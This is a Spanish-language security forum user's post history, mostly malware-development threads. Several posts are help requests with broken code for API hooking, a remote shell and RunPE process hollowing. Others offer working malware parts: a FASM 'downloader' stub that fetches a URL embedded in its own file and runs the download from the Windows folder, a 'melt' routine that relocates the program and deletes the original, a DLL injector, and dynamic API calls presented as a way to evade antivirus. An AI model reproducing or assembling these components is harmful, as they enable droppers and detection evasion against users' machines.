|
71
|
Seguridad Informática / Análisis y Diseño de Malware / Ayuda api hoking :P
|
en: 3 Mayo 2011, 20:41 pm
|
Bueno estoi intentando hookear una API desde una DLL creada en Fasm pero no lo consigo y nose que estoi haciendo mal, este es el código de la dll: format PE GUI 4.0 DLL entry DllEntryPoint include 'win32ax.inc' section '.code' code readable executable proc DllEntryPoint hinstDLL,fdwReason,lpvReserved locals proteccion dd ? endl invoke LoadLibrary,'user32.dll' invoke GetProcAddress,eax,"MessageBoxA" mov ebx,eax; ebx = direccion MessageBoxA invoke VirtualProtect,-1,ebx,5,PAGE_EXECUTE_READWRITE,edx mov ebx,0xE9 inc ebx mov dword[ebx],hook add ebx,4 ret endp proc hook,uno,dos,tres,cuatro invoke MessageBox,0,0,0,0 mov eax,0 ret endp ; VOID ShowErrorMessage(HWND hWnd,DWORD dwError); proc ShowErrorMessage hWnd,dwError local lpBuffer:DWORD lea eax,[lpBuffer] invoke FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0 invoke MessageBox,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK invoke LocalFree,[lpBuffer] ret endp ; VOID ShowLastError(HWND hWnd); proc ShowLastError hWnd invoke GetLastError stdcall ShowErrorMessage,[hWnd],eax ret endp section '.data' data readable writeable mensajito db ? section '.idata' import data readable writeable library kernel,'KERNEL32.DLL',\ user,'USER32.DLL' import kernel,\ GetLastError,'GetLastError',\ SetLastError,'SetLastError',\ FormatMessage,'FormatMessageA',\ LocalFree,'LocalFree',\ LoadLibrary,'LoadLibraryA',\ GetProcAddress,'GetProcAddress',\ VirtualProtect,'VirtualProtectEx' import user,\ MessageBox,'MessageBoxA' section '.edata' export data readable export 'ERRORMSG.DLL',\ ShowErrorMessage,'ShowErrorMessage',\ ShowLastError,'ShowLastError' section '.reloc' fixups data discardable
Esperando repuesta... salu2!
|
|
|
72
|
Seguridad Informática / Análisis y Diseño de Malware / Shell Remota en C
|
en: 27 Marzo 2011, 14:48 pm
|
Buenas, estoi intentando hacer una Shell Remota en C ya que nunca hice una en este lenguaje y me pica la curiosidad el caso es que no me sale... El código que tengo es este: #include <windows.h> #include <stdlib.h> #include <stdio.h> int main() { PHANDLE leer; PHANDLE escribir; SECURITY_ATTRIBUTES sa; STARTUPINFO si; PROCESS_INFORMATION pi; DWORD bytes; CreatePipe(leer,escribir,&sa,0); si.cb = 68; si.dwFlags = 257; si.hStdError = escribir; si.hStdOutput = escribir; CreateProcessA(0,"cmd.exe /c ping 127.0.0.1", &sa, &sa, 1, NORMAL_PRIORITY_CLASS, 0, 0, &si, &pi); Sleep(100); CloseHandle(escribir); char buffer[1024]; char total[1024]; int ret = ReadFile(leer,buffer,250,&bytes,0); lstrcat(total,buffer); while(ret != 0) { ret = ReadFile(leer,buffer,250,&bytes,0); lstrcat(total,buffer); } MessageBoxA(0,total,0,0); return 0; }
Alguien sabe que hago mal? salu2!
|
|
|
73
|
Seguridad Informática / Análisis y Diseño de Malware / Una vez que te inyectas...??
|
en: 7 Febrero 2011, 20:41 pm
|
Buenas, bueno antes de nada, decir que nose si esto deberia ir aqui, pero como siempre se trata aqui el tema de inyecciones y tal... Mi duda es la siguiente: Una vez que te inyectas con una dll en un proceso. Es posible saber las funciones que tiene ese proceso cargadas??? de ser así como lo podria saber?? PD: espero que me hallan entendido salu2!
|
|
|
74
|
Seguridad Informática / Análisis y Diseño de Malware / Ayuda creacion RunPE VB6
|
en: 28 Enero 2011, 20:54 pm
|
Bueno, estoi intentando aprender como trabaja el loader de windows y me e puesto a hacer un runPE, viendo como funcionan otros y tal despues de haber leido varias veces sobre el formato PE, pero tengo problemas, no me funciona correctamente el api NtUnmapViewOfSection ni VirtualAllocEx y nose porque no funcionan bien... el código que tengo es el siguiente: Option Explicit Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long) Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long Private Declare Function NtUnmapViewOfSection Lib "NTDLL.dll" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long) As Long Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Const CONTEXT_FULL As Long = &H10007 Private Const MAX_PATH As Integer = 260 Private Const CREATE_SUSPENDED As Long = &H4 Private Const MEM_COMMIT As Long = &H1000 Private Const MEM_RESERVE As Long = &H2000 Private Const PAGE_EXECUTE_READWRITE As Long = &H40 Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadID As Long End Type Private Type STARTUPINFO cb As Long lpReserved As Long lpDesktop As Long lpTitle As Long dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Private Type IMAGE_DOS_HEADER e_magic As Integer e_cblp As Integer e_cp As Integer e_crlc As Integer e_cparhdr As Integer e_minalloc As Integer e_maxalloc As Integer e_ss As Integer e_sp As Integer e_csum As Integer e_ip As Integer e_cs As Integer e_lfarlc As Integer e_ovno As Integer e_res(0 To 3) As Integer e_oemid As Integer e_oeminfo As Integer e_res2(0 To 9) As Integer e_lfanew As Long End Type Private Type IMAGE_FILE_HEADER Machine As Integer NumberOfSections As Integer TimeDateStamp As Long PointerToSymbolTable As Long NumberOfSymbols As Long SizeOfOptionalHeader As Integer characteristics As Integer End Type Private Type IMAGE_DATA_DIRECTORY VirtualAddress As Long Size As Long End Type Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 Private Type IMAGE_OPTIONAL_HEADER Magic As Integer MajorLinkerVersion As Byte MinorLinkerVersion As Byte SizeOfCode As Long SizeOfInitializedData As Long SizeOfUnitializedData As Long AddressOfEntryPoint As Long BaseOfCode As Long BaseOfData As Long ImageBase As Long SectionAlignment As Long FileAlignment As Long MajorOperatingSystemVersion As Integer MinorOperatingSystemVersion As Integer MajorImageVersion As Integer MinorImageVersion As Integer MajorSubsystemVersion As Integer MinorSubsystemVersion As Integer W32VersionValue As Long SizeOfImage As Long SizeOfHeaders As Long CheckSum As Long SubSystem As Integer DllCharacteristics As Integer SizeOfStackReserve As Long SizeOfStackCommit As Long SizeOfHeapReserve As Long SizeOfHeapCommit As Long LoaderFlags As Long NumberOfRvaAndSizes As Long DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY End Type Private Type IMAGE_NT_HEADERS Signature As Long FileHeader As IMAGE_FILE_HEADER OptionalHeader As IMAGE_OPTIONAL_HEADER End Type Const IMAGE_SIZEOF_SHORT_NAME = 8 Private Type IMAGE_SECTION_HEADER SecName As String * IMAGE_SIZEOF_SHORT_NAME VirtualSize As Long VirtualAddress As Long SizeOfRawData As Long PointerToRawData As Long PointerToRelocations As Long PointerToLinenumbers As Long NumberOfRelocations As Integer NumberOfLinenumbers As Integer characteristics As Long End Type Public Function EjecutarPE(ByVal Ruta As String) As Boolean On Error GoTo error Dim IDH As IMAGE_DOS_HEADER Dim INH As IMAGE_NT_HEADERS Dim ISH() As IMAGE_SECTION_HEADER Dim IDD As IMAGE_DATA_DIRECTORY Dim Datos() As Byte ReDim Datos(FileLen(Ruta)) Open Ruta For Binary As #1 Get #1, , Datos Close #1 Call CopyMemory(IDH, Datos(0), Len(IDH)) Call CopyMemory(INH, Datos(IDH.e_lfanew), Len(INH)) Dim MYe_lfanew As Long: MYe_lfanew = IDH.e_lfanew Dim MYImageBase As Long: MYImageBase = INH.OptionalHeader.ImageBase Dim MYSizeOfImage As Long: MYSizeOfImage = INH.OptionalHeader.SizeOfImage Dim MYSizeOfHeaders As Long: MYSizeOfHeaders = INH.OptionalHeader.SizeOfHeaders Dim MYAddressOfEntryPoint As Long: MYAddressOfEntryPoint = INH.OptionalHeader.AddressOfEntryPoint Dim MYNumberOfSections As Integer: MYNumberOfSections = INH.FileHeader.NumberOfSections Dim MYVirtualAddress As Long Dim MYPointerToRawData As Long Dim MYSizeOfRawData As Long Dim ManijaProceso As Long Dim pi As PROCESS_INFORMATION Dim si As STARTUPINFO Dim NTUN As Long Dim Espacio As Long Dim IdProc As Long Call CreateProcessA(App.Path & "\" & App.EXEName & ".exe", 0, 0, 0, False, CREATE_SUSPENDED, 0, 0, si, pi) ManijaProceso = pi.dwProcessId NTUN = NtUnmapViewOfSection(ManijaProceso, MYImageBase) Espacio = VirtualAllocEx(ManijaProceso, MYImageBase, MYSizeOfImage, &H1000& Or &H2000&, &H40) Exit Function error: EjecutarPE = False End Function
Agradeceria que alguien me dijese que ago mal. salu2!
|
|
|
75
|
Seguridad Informática / Análisis y Diseño de Malware / mDownloader
|
en: 15 Diciembre 2010, 20:31 pm
|
Bueno, aqui les traigo el código de un downloader uqe e creado en fasm , solo dejo el código del Stub que es lo interesante jeje. ;Stub de mDownloader ;Codeado por Drinky94 en diciembre de 2010 ;www.drinky94. artehack .net include 'win32ax.inc' .data ruta dd ? manija dd ? larchivo dd ? espacio dd ? bleidos dd ? dll db 'urlmon.dll',0 funcion db 'URLDownloadToFileA',0 mUrl dd ? dlls db 'msvcrt.dll',0 funcions db 'getenv',0 shell dd ? user db 'windir',0 añadir db '\archivo.exe',0 destino dd ? .code start: invoke GlobalAlloc,GPTR,1024 mov [ruta],eax invoke GetModuleFileName,0,[ruta],1024 invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 mov [manija],eax invoke GetFileSize,[manija],0 mov [larchivo],eax invoke GlobalAlloc,GPTR,[larchivo] mov [espacio],eax invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0 invoke CloseHandle,[manija] mov ecx,1 mov eax,[espacio] add [larchivo],10 bucle: .if byte[eax+ecx] = '#' inc ecx .if byte[eax+ecx] = '#' inc ecx .if byte[eax+ecx] = '#' inc ecx add eax,ecx mov [espacio],eax jmp salir .endif dec ecx .endif dec ecx .endif .if ecx > [larchivo] jmp salir .endif inc ecx jmp bucle salir: invoke LoadLibrary,dlls invoke GetProcAddress,eax,funcions mov [shell],eax push user call [shell] invoke lstrcat,eax,añadir mov [destino],eax invoke LoadLibrary,dll invoke GetProcAddress,eax,funcion mov [mUrl],eax push 0 push 0 push [destino] push [espacio] push 0 call [mUrl] invoke ShellExecute,0,"open",[destino],0,0,0 leave ret .end start
Espero que a alguien le sirva salu2!
|
|
|
76
|
Seguridad Informática / Análisis y Diseño de Malware / [ASM+C] Inyeccion Dll
|
en: 8 Octubre 2010, 20:44 pm
|
Bueno trasteandole a la inyeccion dll y a la vez ensayando c y asm consegui esto: Codigo inyector en c: #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <string.h> void inyectar(char * rutadll); int main() { inyectar("c:\\windows\\system32\\fary.dll"); return 0; } void inyectar(char * rutadll) { DWORD id; DWORD mangoproc; HANDLE idproc; LPVOID espacio; LPVOID carga; printf("Inyeccion Dll by Drinky94\n"); ShellExecute(0,0,"c:\\windows\\system32\\calc.exe",0,0,0); Sleep(2000); // Esperamos que se ejecute la calculadora... id = FindWindow(NULL,"Calculadora"); GetWindowThreadProcessId(id,&mangoproc); idproc = OpenProcess(PROCESS_ALL_ACCESS,0,mangoproc); carga = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); espacio = (LPVOID )VirtualAllocEx (idproc ,0,strlen(rutadll ),MEM_COMMIT , PAGE_READWRITE ); WriteProcessMemory (idproc ,(LPVOID )espacio ,rutadll ,strlen(rutadll ),0); CreateRemoteThread(idproc, 0, 0,(LPTHREAD_START_ROUTINE)carga,(LPVOID)espacio, 0, 0); CloseHandle(idproc); CloseHandle(espacio); }
Dll creada en Fasm: format PE GUI 4.0 DLL entry DllEntryPoint include 'c:\include\win32ax.inc' section '.code' code readable executable proc DllEntryPoint hinstDLL,fdwReason,lpvReserved cmp [fdwReason],1 JE mensage mensage: invoke MessageBox,0,mensajito,titulo,MB_OK ret endp ; VOID ShowErrorMessage(HWND hWnd,DWORD dwError); proc ShowErrorMessage hWnd,dwError local lpBuffer:DWORD lea eax,[lpBuffer] invoke FormatMessage,FORMAT_MESSAGE_ALLOCATE_BUFFER+FORMAT_MESSAGE_FROM_SYSTEM,0,[dwError],LANG_NEUTRAL,eax,0,0 invoke MessageBox,[hWnd],[lpBuffer],NULL,MB_ICONERROR+MB_OK invoke LocalFree,[lpBuffer] ret endp ; VOID ShowLastError(HWND hWnd); proc ShowLastError hWnd invoke GetLastError stdcall ShowErrorMessage,[hWnd],eax ret endp section '.data' data readable writeable mensajito db 'Dll Inyectada con exito',0 titulo db ' Exito!!',0 section '.idata' import data readable writeable library kernel,'KERNEL32.DLL',\ user,'USER32.DLL' import kernel,\ GetLastError,'GetLastError',\ SetLastError,'SetLastError',\ FormatMessage,'FormatMessageA',\ LocalFree,'LocalFree' import user,\ MessageBox,'MessageBoxA' section '.edata' export data readable export 'ERRORMSG.DLL',\ ShowErrorMessage,'ShowErrorMessage',\ ShowLastError,'ShowLastError' section '.reloc' fixups data discardable
Una Capturita: proximamente mas y mejor que ya le estoi tomando el gusto PD: Agradecimiento a [Zero] por su incansable ayuda en todo lo que le pregunto. salu2!
|
|
|
77
|
Programación / ASM / Fallo en encriptacion.
|
en: 28 Agosto 2010, 08:37 am
|
Hola buenas, estoi intentando hacer una simple encriptacion en asm pero CREO que me falla la api lstrcat, no estoi muy seguro.... este es el code: format PE console entry start include 'c:\archivos de programa\include\win32ax.inc' section '.code' code readable executable start: stdcall longitud,tipo proc longitud,cadena mov edx,[cadena] sub edx,1 bucle: add edx,1 mov bl,byte[edx] cmp bl,NULL jz fin jnz seguir seguir: mov [letra],bl add [contador],1 xor bl,5 invoke lstrcat,[cadena],bl ; esto es lo que me falla jmp bucle fin: pop eax invoke printf,tipo2,[cadena] invoke scanf,tipo2,numero ret endp section '.data' data readable writeable contador dd 0 tipo db 'hola',NULL tipo2 db '%i',0 numero dd ? letra db ? cadena db 'h' section '.idata' import data readable writeable library msvcrt,'msvcrt.dll',\ KERNEL32,'KERNEL32.DLL',\ USER32,'USER32.DLL' import msvcrt, printf,'printf',\ scanf,'scanf' import KERNEL32,lstrcat,'lstrcat' import USER32,MessageBoxA,'MessageBoxA'
espero que alguien me ayude. salu2!
|
|
|
78
|
Programación / Programación Visual Basic / Melt
|
en: 6 Agosto 2010, 18:54 pm
|
Bueno, hace un tiempo, vi el melt que hizo MadAntrax y me inspire a hacer el mio, aqui os lo dejo: ' Melt By Drinky94. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Public Function DrinkyMelt(Datos As String) As Boolean If App.Path = Environ("windir") Then Kill Datos ' Llegados a este punto ya hemos temrinado el melt y tenemos que llamar a la funcion normal para que siga la ejecucion ejemplo: ' Call Inyectar Else FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Windir") & "\Melt.exe" Call ShellExecute(0, "Open", Environ("Windir") & "\Melt.exe", App.Path & "\" & App.EXEName & ".exe", vbNullString, 0) End End If End Function Private Sub form_load() Call DrinkyMelt(Command) End Sub
salu2!
|
|
|
79
|
Programación / Scripting / Creando nuestros propios comandos de Bach en C
|
en: 5 Agosto 2010, 05:49 am
|
Creando nuestros propios comandos de batch en CIndice:1.Introduccion 2.¿como funciona la Ms Dos? 3.Empezando a codear nuestro propio comando 4.Despedida 1.INTRODUCCIONBueno en este tutorial veremos como crear nuestros propios comandos para la Ms Dos, yo creare algo simple, pero empleando la misma técnica podeis crearos cualquier comando que podais imaginar, es cosa de hecharle imaginación . 2.¿COMO FUNCIONA LA MS-DOS?Bien, la Ms Dos funciona mediante procesamiento por lotes, esto supongo que todos lo sabran ya, ¿qué significa esto? Sifnifica que cuando ejecutamos por ejemplo el comando echo lo que estamos haciendo es llamar a un exe ( que esta en la carpeta System32) y pasarle unos parametros, el exe lo que ara es procesar los parametros que le hemos enviado y generar un retorno que muestra la Ms Dos , dando la sensación de que todos los comandos los tiene la misma consola. 3.EMPEZANDO A CODEARSiguiendo lo ya explicado en el punto 2 va a ser muy facil desarrollar nuestro comando. Lo primero de todo abriremos nuestro compilador de C ( da igual cual sea) Proyecto>nuevo y abrimos un proyecto de consola y ahora.... a codear!! vale, tenemos el siguiente codigo ( por regla general): #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { }
si nos fijamos en el main tenemos unos parametros (int argc, char *argv[]) esos parametros son los argumentos que se le pasan a nuestro exe ,osea lo que recibira nuestro comando, explicando un poco mas lo que significa, esto: int argc significa el numero de parametros que se le a pasado y esto: char *argv[] es un array con los parametros, bien, sabiendo ya esto ya sabemos por donde recibiremos los parametros que se le pasan a nuestro futuro comando!!. ahora simplemente tenemos que hacer lo que nosotros queramos que haga, yo por ejemplo generare un comando semejante a echo yo le llamare DrinkEcho jeje veamos como seria el code: #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { }
Bien con eso ya tendiramos nuestro comado generado, lo tenemos que compilar con el nombre que va a tener nuestro comando. UNA NOTA IMPORTANTE es que al estar programando en consola los datos que devuelve nuestro ejecutable los devuelve a la Ms Dos con lo cual de eso no nos tenemos que preocupar. Ahora solo queda provar el comando... lo metemos en system32 y vamos a testear nuestro comando: 4.DESPEDIDABueno espero que este minitutorial les haya gustado y les haya servido para aprender a crear sus comandos de Batch si esque no sabian. Un salu2!. Drinky94.
|
|
|
80
|
Programación / Programación Visual Basic / Llamar a api sin declararlas
|
en: 4 Agosto 2010, 21:48 pm
|
Bueno esto puede servir para esquivar algunos av, no es un codigo tan avanzado como los de Karcrack ni tan dificil peeeeero funciona perfectamente Vamos a hacer un simple MessageBox, Código: Option Explicit Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long Private Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Any, ByVal wParam As Any, ByVal lParam As Any) As Long Private Const MB_ICONEXCLAMATION = &H30& Private Sub Form_Load() Dim id As Long Dim direccion As Long id = LoadLibrary("user32") 'Cargamos la libreria direccion = GetProcAddress(id, "MessageBoxA") 'obtenemos la direccion em memoria CallWindowProc direccion, Me.hWnd, "cuerpo", "Titulo", MB_ICONEXCLAMATION ' llamamos a la funcion FreeLibrary id ' liberamos la dll End Sub
Bueno el code esta explicado pero si tienen alguna duda solo pregunten, si quisieramos utilizar una api con mas parametros tendriamos que usar un array . salu2! y espero que les sea de ayuda!
|
|
|
|
|
|
|